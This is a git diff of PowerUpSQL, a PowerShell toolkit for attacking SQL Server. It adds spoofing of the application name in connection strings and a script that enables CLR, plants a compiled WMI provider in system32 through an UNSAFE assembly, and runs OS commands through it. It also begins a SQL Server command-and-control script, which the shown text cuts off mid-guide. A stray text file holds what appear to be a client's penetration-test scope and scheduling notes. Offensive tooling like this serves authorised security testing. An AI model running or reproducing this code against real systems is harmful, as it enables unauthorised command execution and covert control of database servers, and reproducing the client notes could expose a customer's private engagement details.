diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index ed9e287..db0b7ad 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.103.3 + Version: 1.103.7 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -13,7 +13,7 @@ ######################################################################### # #region CORE FUNCTIONS -#h +# ######################################################################### # ---------------------------------- @@ -23,7 +23,7 @@ # Reference: https://msdn.microsoft.com/en-us/library/ms188247.aspx # Reference: https://raw.githubusercontent.com/sqlcollaborative/dbatools/master/functions/SharedFunctions.ps1 # Reference: https://blogs.msdn.microsoft.com/spike/2008/11/14/connectionstrings-mixing-usernames-and-windows-authentication-who-goes-first/ -Function Get-SQLConnectionObject +Function Get-SQLConnectionObject { <# .SYNOPSIS @@ -36,24 +36,30 @@ Function Get-SQLConnectionObject SQL Server credential. .PARAMETER Database Default database to connect to. + .PARAMETER AppName + Spoof the name of the application you are connecting to SQL Server with. + .PARAMETER Encrypt + Use an encrypted connection. + .PARAMETER TrustServerCert + Trust the certificate of the remote server. .EXAMPLE - PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword - + PS C:\> Get-SQLConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp" StatisticsEnabled : False - AccessToken : - ConnectionString : Server=SQLServer1;Database=Master;User ID=MySQLUser;Password=MySQLPassword;Connection Timeout=1 + AccessToken : + ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application + Name="myapp";Encrypt=Yes;TrustServerCertificate=Yes ConnectionTimeout : 1 Database : Master - DataSource : SQLServer1 + DataSource : server1 PacketSize : 8000 ClientConnectionId : 00000000-0000-0000-0000-000000000000 - ServerVersion : + ServerVersion : State : Closed - WorkstationId : SQLServer1 - Credential : + WorkstationId : Workstation1 + Credential : FireInfoMessageEventOnUserErrors : False - Site : - Container : + Site : + Container : #> [CmdletBinding()] Param( @@ -83,6 +89,20 @@ Function Get-SQLConnectionObject HelpMessage = 'Default database to connect to.')] [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Spoof the name of the application your connecting to the server with.')] + [string]$AppName = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Use an encrypted connection.')] + [ValidateSet("Yes","No","")] + [string]$Encrypt = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Trust the certificate of the remote server.')] + [ValidateSet("Yes","No","")] + [string]$TrustServerCert = "", + [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut = 1 @@ -105,6 +125,27 @@ Function Get-SQLConnectionObject { $Database = 'Master' } + + # Check if appname was provided + if($AppName){ + $AppNameString = ";Application Name=`"$AppName`"" + }else{ + $AppNameString = "" + } + + # Check if encrypt was provided + if($Encrypt){ + $EncryptString = ";Encrypt=Yes" + }else{ + $EncryptString = "" + } + + # Check TrustServerCert was provided + if($TrustServerCert){ + $TrustCertString = ";TrustServerCertificate=Yes" + }else{ + $TrustCertString = "" + } } Process @@ -125,7 +166,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Current Windows Credentials" # Set connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString $EncryptString $TrustCertString" } # Set authentcation type - provided windows user @@ -133,7 +174,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Provided Windows Credentials" # Setup connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString" } # Set authentcation type - provided sql login @@ -143,7 +184,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Provided SQL Login" # Setup connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString$EncryptString$TrustCertString" } # Return the connection object @@ -482,11 +523,11 @@ Function Get-SQLConnectionTestThreaded # Get-SQLQuery # ---------------------------------- # Author: Scott Sutherland -Function Get-SQLQuery +Function Get-SQLQuery { <# .SYNOPSIS - Executes a query on target SQL servers.This + Executes a query on target SQL servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password @@ -507,6 +548,12 @@ Function Get-SQLQuery Number of concurrent threads. .PARAMETER Query Query to be executed on the SQL Server. + .PARAMETER AppName + Spoof the name of the application you are connecting to SQL Server with. + .PARAMETER Encrypt + Use an encrypted connection. + .PARAMETER TrustServerCert + Trust the certificate of the remote server. .EXAMPLE PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 .EXAMPLE @@ -557,6 +604,20 @@ Function Get-SQLQuery HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose, + [Parameter(Mandatory = $false, + HelpMessage = 'Spoof the name of the application your connecting to the server with.')] + [string]$AppName = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Use an encrypted connection.')] + [ValidateSet("Yes","No","")] + [string]$Encrypt = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Trust the certificate of the remote server.')] + [ValidateSet("Yes","No","")] + [string]$TrustServerCert = "", + [Parameter(Mandatory = $false, HelpMessage = 'Return error message if exists.')] [switch]$ReturnError @@ -574,12 +635,12 @@ Function Get-SQLQuery if($DAC) { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } else { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } # Parse SQL Server instance name diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 57870dd..a2c557f 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.103.0' + ModuleVersion = '1.103.3' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' diff --git a/images/ADS_Query_AdHoc.png b/images/ADS_Query_AdHoc.png new file mode 100644 index 0000000..87d6dac Binary files /dev/null and b/images/ADS_Query_AdHoc.png differ diff --git a/images/ADS_Query_LinkServer.png b/images/ADS_Query_LinkServer.png new file mode 100644 index 0000000..58a2cf6 Binary files /dev/null and b/images/ADS_Query_LinkServer.png differ diff --git a/images/affintiy plus ipen notes.txt b/images/affintiy plus ipen notes.txt new file mode 100644 index 0000000..842309c --- /dev/null +++ b/images/affintiy plus ipen notes.txt @@ -0,0 +1,25 @@ +Scope Includes: +• Testing on up to 50 active systems and 3 web applications +• Up to 3 days of time-boxed testing +• Up to 3 days of analysis anticipated +• Focused pentesting on PCI segmentation - hold off on this, because they are changing the segmentation/jump hosts etc, remove deliveryable. +• Testing will occur from client facilities during normal business hours +• Off-site findings analysis, reporting, and quality assurance reviews are included +• Includes up to 1 round of remediation testing (within 60 days of the preliminary report) +• Intrusion Prevention System (IPS) exceptions must be put in place for NetSPI test systems to prevent delays +Deliverables Include: +• CSV File +• PDF Report +• Client-facing Letter of Attestation + + +schedule +starting wedneds +next wee codey + +cary. +sadec. + + +run the penetration test, validation test. - note. + diff --git a/scripts/pending/Invoke-SQLOSCmdCLRWMIProvider.ps1 b/scripts/pending/Invoke-SQLOSCmdCLRWMIProvider.ps1 new file mode 100644 index 0000000..b62c2ee --- /dev/null +++ b/scripts/pending/Invoke-SQLOSCmdCLRWMIProvider.ps1 @@ -0,0 +1,614 @@ +# todo +<# +Note: dependant on PowerUpSQL. +- have script accept command or source script as string + --- have that get bake into the wmi provider method + --- update the wmi method to execute the provided string as a script block + --- mod the clr to return the output of the wmi command +- roll into clone of the invoke-sqloscmdclr function so it can scale +- remove wmi cs and dll on client +- remove sql dll cs and dll on client +- deregister sp on sql server +- deregister assembly on sql server +- deregister wmi and remove .dll from sql server +- dynamically find the installutil.exe, it is currently hardcoded +- update variables to make more sense +- work through .net version issues. +#> + +# ---------------------------------- +# Invoke-SQLOSCmdCLRWMIProvider +# ---------------------------------- +# Author: Scott Sutherland and Alexand Leary +Function Invoke-SQLOSCmdCLRWMIProvider +{ + <# + .SYNOPSIS + This registers a CLR assembly, that registers a custom WMI provider, + then the clr assembly will run the custom method. The method accept a string + that is executed as a runspace script block. + Supports threading, raw output, and table output. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .PARAMETER Threads + Number of concurrent threads. + .PARAMETER Command + Operating command to be executed on the SQL Server. + .PARAMETER RawResults + Just show the raw results without the computer or instance name. + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Invoke-SQLOSCmdCLR -Verbose -Command "whoami" +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'OS command to be executed.')] + [String]$Command, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads.')] + [int]$Threads = 1, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + + [Parameter(Mandatory = $false, + HelpMessage = 'Just show the raw results without the computer or instance name.')] + [switch]$RawResults + ) + + Begin + { + # Setup data table for output + $TblCommands = New-Object -TypeName System.Data.DataTable + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('CommandResults') + + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut + } + else + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut + } + + # Attempt connection + try + { + # Open connection + $Connection.Open() + + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + + # Switch to track CLR status + $DisableShowAdvancedOptions = 0 + $DisableCLR = 0 + + # Get sysadmin status + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin + + # Check if CLR is enabled + if($IsSysadmin -eq 'Yes') + { + Write-Verbose -Message "$Instance : You are a sysadmin." + $IsCLREnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'CLR Enabled'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + } + else + { + Write-Verbose -Message "$Instance : You are not a sysadmin. This command requires sysadmin privileges." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'No sysadmin privileges.') + return + } + + # Enable show advanced options if needed + if ($IsShowAdvancedEnabled -eq 1) + { + Write-Verbose -Message "$Instance : Show Advanced Options is already enabled." + } + else + { + Write-Verbose -Message "$Instance : Show Advanced Options is disabled." + $DisableShowAdvancedOptions = 1 + + # Try to enable Show Advanced Options + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsShowAdvancedEnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled Show Advanced Options." + } + else + { + Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Show Advanced Options.') + return + } + } + + # Enable CLR if needed + if ($IsCLREnabled -eq 1) + { + Write-Verbose -Message "$Instance : CLR is already enabled." + } + else + { + Write-Verbose -Message "$Instance : CLR is disabled." + $DisableCLR = 1 + + # Try to enable CLR + Get-SQLQuery -Instance $Instance -Query "sp_configure 'CLR Enabled',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsCLREnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure "CLR Enabled"' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsCLREnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled CLR." + } + else + { + Write-Verbose -Message "$Instance : Enabling CLR failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable CLR.') + + return + } + } + + # ----------------------------------- + # Setup and Compile WMI Provider DLL + # ----------------------------------- + + # Status user + Write-Verbose -Message "$Instance : Generating WMI provider C# Code" + + # Create random WMI name space + $WMINameSpaceLen = (5..10 | Get-Random -count 1 ) + $WMINameSpace = (-join ((65..90) + (97..122) | Get-Random -Count $WMINameSpaceLen | % {[char]$_})) + Write-Verbose -Message "$Instance : - WMI Provider name space: $WMINameSpace" + + # Create random WMI class name + $WMIClassLen = (5..10 | Get-Random -count 1 ) + $WMIClass = (-join ((65..90) + (97..122) | Get-Random -Count $WMIClassLen | % {[char]$_})) + Write-Verbose -Message "$Instance : - WMI Provider class: $WMIClass" + + # Create random WMI method name + $WMIMethodLen = (5..10 | Get-Random -count 1 ) + $WMIMethod = (-join ((65..90) + (97..122) | Get-Random -Count $WMIMethodLen | % {[char]$_})) + Write-Verbose -Message "$Instance : - WMI Provider Method: $WMIMethod " + + # Create random WMI provider file name + $WmiFileNameLen = (5..10 | Get-Random -count 1 ) + $WmiFileName = (-join ((65..90) + (97..122) | Get-Random -Count $WmiFileNameLen | % {[char]$_})) + Write-Verbose -Message "$Instance : - WMI Provider file name: $WmiFileName.dll" + + # Define WMI provider code + $WMICS = " + using System; + using System.Collections; + using System.Management; + using System.Management.Instrumentation; + using System.Runtime.InteropServices; + using System.Configuration.Install; + + [assembly: WmiConfiguration(@`"root\cimv2`", HostingModel = ManagementHostingModel.LocalSystem)] + namespace $WMINameSpace + { + [System.ComponentModel.RunInstaller(true)] + public class MyInstall : DefaultManagementInstaller + { + //private static string fileName = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; + + public override void Install(IDictionary stateSaver) + { + try + { + new System.EnterpriseServices.Internal.Publish().GacInstall(`"$WmiFileName.dll`"); + base.Install(stateSaver); + RegistrationServices registrationServices = new RegistrationServices(); + } + catch { } + } + + public override void Uninstall(IDictionary savedState) + { + + try + { + new System.EnterpriseServices.Internal.Publish().GacRemove(`"$WmiFileName.dll`"); + ManagementClass managementClass = new ManagementClass(@`"root\cimv2:Win32_$WMIClass`"); + managementClass.Delete(); + } + catch { } + + try + { + base.Uninstall(savedState); + } + catch { } + } + } + + [ManagementEntity(Name = `"Win32_$WMIClass`")] + public class $WMIClass + { + [ManagementTask] + public static string $WMIMethod(string command, string parameters) + { + + // Write a file to c:\temp\doit.txt using wmi + object[] theProcessToRun = { `"c:\\windows\\system32\\cmd.exe /C \`"echo testing123$WMIMethod > c:\\temp\\doit.txt \`"`" }; + ManagementClass mClass = new ManagementClass(@`"\\`" + `"127.0.0.1`" + @`"\root\cimv2:Win32_Process`"); + mClass.InvokeMethod(`"Create`", theProcessToRun); + + // Return test script + return `"test`"; + } + } + }" + + # Write c sharp code to a file + $OutDir = $env:temp + $OutFileName = $WmiFileName + $OutFilePath = "$OutDir\$OutFileName.cs" + Write-Verbose -Message "$Instance : Writing WMI provider code to: $OutFilePath" + $WMICS | Out-File $OutFilePath + + # Identify the path to csc.exe + Write-Verbose -Message "$Instance : Searching for .net framework v3 csc.exe" + $CSCPath = Get-ChildItem -Recurse "C:\Windows\Microsoft.NET\" -Filter "csc.exe" | where {$_.FullName -like "*v3*" -and $_.fullname -like "*Framework64*"} | Select-Object fullname -First 1 -ExpandProperty fullname + if(-not $CSCPath){ + Write-Verbose -Message "$Instance : No csc.exe found." + return + }else{ + Write-Verbose -Message "$Instance : Found csc.exe: $CSCPath" + } + + # Compile the .cs file to a .dll using csc.exe + $CurrentDirectory = pwd + cd $OutDir + $Command = "$CSCPath /target:library /R:system.configuration.install.dll /R:system.enterpriseservices.dll /R:system.management.dll /R:system.management.instrumentation.dll " + $OutFilePath + Write-Verbose -Message "$Instance : Compiling WMI provider code to: $OutDir\$OutFileName.dll" + $Results = Invoke-Expression $Command + cd $CurrentDirectory + $WMIFilePath1 = "$OutDir\$OutFileName.dll" + + # ------------------------------------ + # Setup and Compile SQL Server CLR DLL + # ------------------------------------ + + Write-Verbose -Message "$Instance : Converting WMI provider DLL to base64" + + # Read the DLL into a byte array + $FileBytes = [System.IO.File]::ReadAllBytes("$WMIFilePath1") + + # Convert the byte array in the a Base64 string + $FileBytes64 = [Convert]::ToBase64String($FileBytes); + + # Remove dll and cs files - pending + + Write-Verbose -Message "$Instance : Generating SQL Server CLR C# Code" + + # Define random variables for the clr + $AssemblyLength = (5..10 | Get-Random -count 1 ) + $AssemblyName = (-join ((65..90) + (97..122) | Get-Random -Count $AssemblyLength | % {[char]$_})) + Write-Verbose -Message "$Instance : - SQL CLR Assembly Name: $AssemblyName.dll" + + $ClassNameLength = (5..10 | Get-Random -count 1 ) + $ClassName = (-join ((65..90) + (97..122) | Get-Random -Count $ClassNameLength | % {[char]$_})) + Write-Verbose -Message "$Instance : - SQL CLR ClassName: $ClassName" + + $MethodNameLength = (5..10 | Get-Random -count 1 ) + $MethodName = (-join ((65..90) + (97..122) | Get-Random -Count $MethodNameLength | % {[char]$_})) + Write-Verbose -Message "$Instance : - SQL CLR MethodName: $MethodName" + + $ProcNameLength = (5..10 | Get-Random -count 1 ) + $ProcName = (-join ((65..90) + (97..122) | Get-Random -Count $ProcNameLength | % {[char]$_})) + Write-Verbose -Message "$Instance : - SQL CLR Proc Name: $ProcName" + + # Define SQL Server CLR Assembly Code +$TemplateCmdExec = @" + using System; + using System.Data; + using System.Data.SqlClient; + using System.Data.SqlTypes; + using Microsoft.SqlServer.Server; + using System.IO; + using System.Diagnostics; + using System.Text; + using System.Collections.Generic; + using System.Management; + + public partial class $ClassName + { + [Microsoft.SqlServer.Server.SqlProcedure] + public static void $MethodName (SqlString execCommand) + { + // Check for local administrator privileges - pending + + // Convert Base64 to byte array + byte[] MyByteArray2 = Convert.FromBase64String("$FileBytes64"); + + // Write all bytes to another file + File.WriteAllBytes("c:\\windows\\system32\\wbem\\$WmiFileName.dll",MyByteArray2); + + // Create new process to install the wmi provider + Process proc = new Process(); + proc.StartInfo.FileName = @"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"; + proc.StartInfo.Arguments = string.Format(@" c:\\windows\\system32\\wbem\\$WmiFileName.dll", execCommand.Value); + proc.StartInfo.UseShellExecute = false; + proc.StartInfo.RedirectStandardOutput = true; + proc.Start(); + + // Execute custom wmi method from custom wmi class via wmi using c sharp + ManagementClass mClass = new ManagementClass(@"\\" + "127.0.0.1" + @"\root\cimv2:Win32_$WMIClass"); + object results = mClass.InvokeMethod("$WMIMethod", null); + + // Test getting process list - multiple line output reading + // ManagementClass c = new ManagementClass("Win32_Process"); + // StringBuilder builder = new StringBuilder(); + // foreach (ManagementObject o in c.GetInstances()) + // builder.Append(o).AppendLine(o["Name"].ToString()); + + // Create the record and specify the metadata for the columns. + SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); + + // Mark the begining of the result-set. + SqlContext.Pipe.SendResultsStart(record); + + // Set values for each column in the row + record.SetString(0, results.ToString()); + + // Send the row back to the client. + SqlContext.Pipe.SendResultsRow(record); + + // Mark the end of the result-set. + SqlContext.Pipe.SendResultsEnd(); + + proc.WaitForExit(); + proc.Close(); + + // Remove provider - pending + + // Remove dll - pending + } + }; +"@ + + # Write out the cs code + $ClrFileNameLen = (5..10 | Get-Random -count 1 ) + $ClrFileName = (-join ((65..90) + (97..122) | Get-Random -Count $ClrFileNameLen | % {[char]$_})) + $SRCPath = $OutDir + "\$ClrFileName.cs" + Write-Verbose -Message "$Instance : Writing SQL Server CLR code to: $SRCPath" + $TemplateCmdExec | Out-File $SRCPath + + # Setup and compile the dll + $CurrentDirectory = pwd + cd $OutDir + $Command = "$CSCPath /target:library " + $OutDir + "\$ClrFileName.cs" + Write-Verbose -Message "$Instance : Compiling SQL Server CLR code to: $OutDir\$ClrFileName.dll" + $Results = Invoke-Expression $Command + cd $CurrentDirectory + + # -------------------------------------- + # Install and CLR DLLs on the SQL Server + # -------------------------------------- + + # Register system.management.dll w + # Note: This is required for the C Sharp CLR to call WMI + Write-Verbose -Message "$Instance : Registering assembly system.management.dll on SQL Server instance" + $stringBuilder0 = New-Object -Type System.Text.StringBuilder + $null = $stringBuilder0.AppendLine("CREATE ASSEMBLY [system.management]") + $null = $stringBuilder0.AppendLine("from 'C:\windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll'") + $null = $stringBuilder0.AppendLine("with permission_set = unsafe") + $stringBuilder0cmd= $stringBuilder0.ToString() -join "" + $Result0 = Get-SQLQuery -ReturnError -Instance $Instance -Query $stringBuilder0cmd -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database msdb + + # Set paths to CLR dll + $assemblyFile = "$OutDir\$ClrFileName.dll" + + # Generate TSQL CREATE ASSEMBLY string + Write-Verbose -Message "$Instance : Generating CREATE ASSEMBLY TSQL from SQL Server CLR DLL" + $stringBuilder1 = New-Object -Type System.Text.StringBuilder + $stringBuilder1.Append("CREATE ASSEMBLY [") > $null + $stringBuilder1.Append($AssemblyName) > $null + $stringBuilder1.Append("] AUTHORIZATION [dbo] FROM `n0x") > $null + $fileStream = [IO.File]::OpenRead($assemblyFile) + while (($byte = $fileStream.ReadByte()) -gt -1) { + $stringBuilder1.Append($byte.ToString("X2")) > $null + } + $fileStream.Close() + $fileStream.Dispose() + $null = $stringBuilder1.AppendLine("`nWITH PERMISSION_SET = UNSAFE") + $stringBuilder1cmd= $stringBuilder1.ToString() -join "" + + # Execute CREATE ASSEMBLY string + Write-Verbose -Message "$Instance : Executing CREATE ASSEMBLY TSQL on SQL Server" + $Result1 = Get-SQLQuery -ReturnError -Instance $Instance -Query $stringBuilder1cmd -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database msdb + + # Create CREATE PROCEDURE string + Write-Verbose -Message "$Instance : Generating CREATE PROCEDURE TSQL" + $stringBuilder2 = New-Object -Type System.Text.StringBuilder + $null = $stringBuilder2.AppendLine("CREATE PROCEDURE [dbo].[$ProcName] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [$AssemblyName].[$ClassName].[$MethodName];") + $stringBuilder2cmd= $stringBuilder2.ToString() -join "" + + # Execute CREATE PROCEDURE string + Write-Verbose -Message "$Instance : Executing CREATE PROCEDURE TSQL on SQL Server" + $Result2 = Get-SQLQuery -ReturnError -Instance $Instance -Query $stringBuilder2cmd -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database msdb + + # Create execute procedure string + Write-Verbose -Message "$Instance : Generating exec statement for CLR sp in TSQL" + $stringBuilder3 = New-Object -Type System.Text.StringBuilder + $null = $stringBuilder3.AppendLine("EXEC[dbo].[$ProcName] 'whoami'") + $stringBuilder3cmd= $stringBuilder3.ToString() -join "" + + # Execute sp string + Write-Verbose -Message "$Instance : Executing CLR sp on SQL Server (which will install the custom wmi provider and run the target wmi method)" + $CmdResults = Get-SQLQuery -Instance $Instance -Query $stringBuilder3cmd -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database msdb + + # Status user + Write-Verbose -Message "$Instance : Dest WMI filename on sql server: c:\windows\system32\wbem\$WmiFileName.dll" + Write-Verbose -Message "$Instance : manual wmic command: invoke-wmimethod -class Win32_$WMIClass -Name $WMIMethod" + + + # Execute OS command + # $CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" | Select-Object -Property output -ExpandProperty output + + # Display results or add to final results table + if($RawResults) + { + [string]$CmdResults.output + } + else + { + $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults.output) + } + + # Remove procedure and assembly + Get-SQLQuery -Instance $Instance -Query "DROP PROCEDURE cmd_exec" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" + Get-SQLQuery -Instance $Instance -Query "DROP ASSEMBLY cmd_exec" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" + #> + + # Restore CLR state if needed + if($DisableCLR -eq 1) + { + Write-Verbose -Message "$Instance : Disabling CLR" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'CLR Enabled',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Restore Show Advanced Options state if needed + if($DisableShowAdvancedOptions -eq 1) + { + Write-Verbose -Message "$Instance : Disabling Show Advanced Options" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed + + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose -Message "$Instance : Connection Failed." + #Write-Verbose " Error: $ErrorMessage" + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + + return $TblResults + } +} diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 new file mode 100644 index 0000000..ffbec56 --- /dev/null +++ b/scripts/pending/SQLC2.ps1 @@ -0,0 +1,2333 @@ +<# + Script: SQLC2.ps1 + Description: This is a basic PoC script that contains functions that can be + used to install and manage a C2 via a SQL Server instance. + The C2 SQL Server is intended to be hosted remotely or in Azure + via a database.windows.net address. The client functions can be + run by a schedule task or other means for periodic check in + and command grabbing from the C2 SQL Server. + Author: Scott Sutherland (@_nullbind), NetSPI 2018 + License: BSD 3-Clause + Mini Guide: + + ---------------------------- + Azure Configuration Overview + ---------------------------- + + 1. Create an Azure account and log in. + + 3. Create a SQL server databse. In this example the server will be named sqlcloudc2 and the datatabase will be named database1. + + 4. Add a virtual firewall exception for the target networks that you will be receiving connections from. + + ---------------------------- + Attack Workflow Overview + ---------------------------- + 1. Install SQLC2. + + Install C2 tables in remote SQL Server instance. You will need to provide an database that you have the ability to create tables in, or create a new at database. However, in Azure 